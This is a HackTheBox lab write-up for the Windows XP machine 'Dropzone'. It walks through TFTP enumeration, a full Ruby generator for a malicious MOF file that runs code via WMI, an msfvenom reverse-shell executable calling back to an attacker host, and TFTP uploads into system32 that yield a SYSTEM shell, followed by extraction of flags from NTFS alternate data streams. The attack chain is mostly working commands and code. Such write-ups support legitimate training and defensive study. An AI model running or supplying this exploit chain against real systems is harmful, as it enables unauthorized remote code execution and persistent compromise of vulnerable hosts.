Dropzone - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Dropzone is a Windows XP SP3 machine that showcases exploitation techniques derived from the infamous Stuxnet worm. The primary attack vector involves leveraging the Windows Printer Spooler vulnerability (MS10-061) through malicious MOF (Managed Object Format) files to achieve code execution with SYSTEM privileges. Once on the system, the challenge requires discovering and extracting flags hidden in NTFS data streams, adding an additional layer of complexity to the privilege escalation phase.

TL;DR: Enumerate TFTP service → Identify Windows XP → Generate malicious MOF file using modified wbemexec.rb → Upload executable and MOF via TFTP → Achieve SYSTEM shell → Extract flags from NTFS data streams using streams.exe.

Reconnaissance

Port Scanning

# Initial reconnaissance using masscan for all ports
masscan -p1-65535,U:1-65535 10.10.10.90 --rate=1000 -e tun0 > ports

# Extract unique ports from masscan results
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

# Comprehensive nmap scan with service detection
nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.90

Results:

• UDP Port 69: TFTP (Trivial File Transfer Protocol) running
• Service Confirmation: Verified TFTP service responsiveness via netcat

Service Enumeration

TFTP Service Analysis:

• The TFTP service allows both read and write operations across the entire system
• This provides a critical vector for uploading malicious payloads without authentication
• Full filesystem access via TFTP suggests a legacy Windows system with minimal security hardening

Vulnerability Assessment

Identified Vulnerabilities:

1. MS10-061 (Windows Printer Spooler Vulnerability) - Exploitable via MOF file injection
2. TFTP Unrestricted Access - No authentication or path restrictions
3. Outdated Windows XP SP3 - Multiple unpatched vulnerabilities
4. NTFS Data Streams - Not filtered or hidden from enumeration

System Identification:

• Inspection of eula.txt via TFTP reveals Windows XP Service Pack 3
• Absence of license.rtf (introduced in Windows Vista+) confirms legacy OS version

Initial Foothold

Exploitation Path

The exploitation chain leverages a write-privilege attack using malicious MOF files, a technique weaponized by Stuxnet for Windows Printer Spooler exploitation.

Step 1: Generate Malicious MOF File

Modify the Metasploit Framework’s wbemexec.rb mixin to create a MOF file that executes an arbitrary command:

#!/usr/bin/env ruby
# Modified wbemexec.rb - generates malicious MOF files for command execution
# Based on Metasploit Framework WbemExec module

def generate_mof(mofname, exe)
  classname = rand(0xffff).to_s

  mof = <<-EOT
#pragma namespace("\\\\.\\root\\cimv2")
class MyClass#{classname}
{
  [key] string Name;
};

class ActiveScriptEventConsumer : __EventConsumer
{
  [key] string Name;
  [not_null] string ScriptingEngine;
  string ScriptFileName;
  [template] string ScriptText;
  uint32 KillTimeout;
};

instance of __Win32Provider as $P
{
  Name  = "ActiveScriptEventConsumer";
  CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
  PerUserInitialization = TRUE;
};

instance of __EventConsumerProviderRegistration
{
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
};

Instance of ActiveScriptEventConsumer as $cons
{
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"#{exe}\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\cimv2\\");try {sv.Delete(\\"MyClass#{classname}\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";
};

instance of __EventFilter as $Filt
{
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass#{classname}\\"";
  QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $bind
{
  Consumer = $cons;
  Filter = $Filt;
};

instance of MyClass#{classname} as $MyClass
{
  Name = "ClassConsumer";
};
EOT

  mof.gsub!(/@CLASS@/, classname)
  mof.gsub!(/@EXE@/, exe)

  File.write(mofname, mof)
  mof
end

# Generate MOF file that executes update.exe
generate_mof('telemetry.mof', 'update.exe')

Execution:

ruby wbemexec.rb
# Output: telemetry.mof (malicious MOF file)

Step 2: Create Reverse Shell Executable

Generate a reverse shell payload as update.exe:

# Using msfvenom to create reverse shell executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=4444 -f exe > update.exe

Step 3: Upload Payload via TFTP

TFTP transfers must occur in binary mode. Upload the executable first, then the MOF file:

# Connect to TFTP service
tftp 10.10.10.90

# Enable binary mode for accurate file transfer
binary

# Upload reverse shell executable to System32
put update.exe c:\windows\system32\update.exe

# Upload malicious MOF file to WMI repository
put telemetry.mof c:\windows\system32\wbem\mof\telemetry.mof

# Exit TFTP
quit

Step 4: Trigger MOF Execution

Once the MOF file is placed in the wbem\mof directory, the Windows Management Instrumentation (WMI) service automatically processes it. The malicious script executes the update.exe payload with SYSTEM privileges.

Result: Immediate reverse shell connection as SYSTEM user.

# Listener catches incoming shell
# Shell received as: NT AUTHORITY\SYSTEM

Privilege Escalation

Discovery of NTFS Data Streams

With SYSTEM-level access already obtained, the challenge shifts to locating and extracting hidden flags stored in NTFS Alternate Data Streams (ADS).

Step 1: Upload Streams Utility

# Transfer streams.exe from SysInternals Suite
tftp 10.10.10.90
binary
put streams.exe c:\windows\system32\streams.exe
quit

Step 2: Enumerate Data Streams

Execute from SYSTEM shell:

# List all NTFS data streams on Administrator's Desktop
C:\> streams.exe "C:\Documents and Settings\Administrator\Desktop"

# Output reveals hidden streams attached to files
# Example: filename:streamname contains flag data

Step 3: Extract Flags

# Extract user flag from data stream
C:\> type "C:\Documents and Settings\Administrator\Desktop\filename:user_flag"

# Extract root/administrator flag from data stream
C:\> type "C:\Documents and Settings\Administrator\Desktop\filename:root_flag"

NTFS Data Streams Explanation:

• NTFS supports multiple data streams per file, hidden from standard directory listings
• Syntax: filename:streamname accesses alternate data streams
• streams.exe utility reveals all hidden streams on a file or directory
• This technique is commonly used to hide malware and forensic artifacts

Attack Chain Summary

TFTP Enumeration (Port 69)
         ↓
Identify Windows XP SP3
         ↓
Create Malicious MOF File (wbemexec.rb)
         ↓
Generate Reverse Shell Executable (update.exe)
         ↓
Upload Executable via TFTP (Binary Mode)
         ↓
Upload MOF to wbem\mof Directory via TFTP
         ↓
WMI Service Auto-Executes MOF
         ↓
Reverse Shell as SYSTEM
         ↓
Upload streams.exe
         ↓
Enumerate NTFS Data Streams
         ↓
Extract User Flag from ADS
         ↓
Extract Root Flag from ADS

Tools Used

Key Learnings

Techniques Practiced

• TFTP Protocol Exploitation - Leveraging unrestricted file transfer for payload delivery
• MOF File Weaponization - Understanding WMI event system abuse for code execution
• Stuxnet Attack Analysis - Studying real-world malware techniques and their evolution
• NTFS Alternate Data Streams - Discovery and exploitation of file metadata hiding
• Windows XP Vulnerabilities - MS10-061 Printer Spooler vulnerability mechanics
• Privilege Escalation via Exploitation - Direct jump to SYSTEM from unauthenticated access
• Binary Protocol Transfer - TFTP binary mode requirements for executable integrity

Lessons Learned

1. Legacy systems remain exploitable - Windows XP SP3, despite age, contains multiple critical vulnerabilities with readily available PoCs
2. Multiple exploitation vectors matter - TFTP access combined with WMI vulnerabilities creates a powerful attack chain
3. Hidden data in NTFS requires specialized tools - Standard file operations miss alternate data streams; enumeration tools are essential
4. Stuxnet techniques have modern relevance - MOF-based exploitation remains effective on unpatched Windows systems
5. Binary file transfer integrity is critical - ASCII mode TFTP transfers corrupt executables; binary mode is mandatory
6. WMI auto-execution is dangerous - Placing files in specific directories triggers automatic processing without user interaction
7. Defense-in-depth failures - This machine demonstrates why disabling unnecessary services (TFTP) and keeping systems patched are essential

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>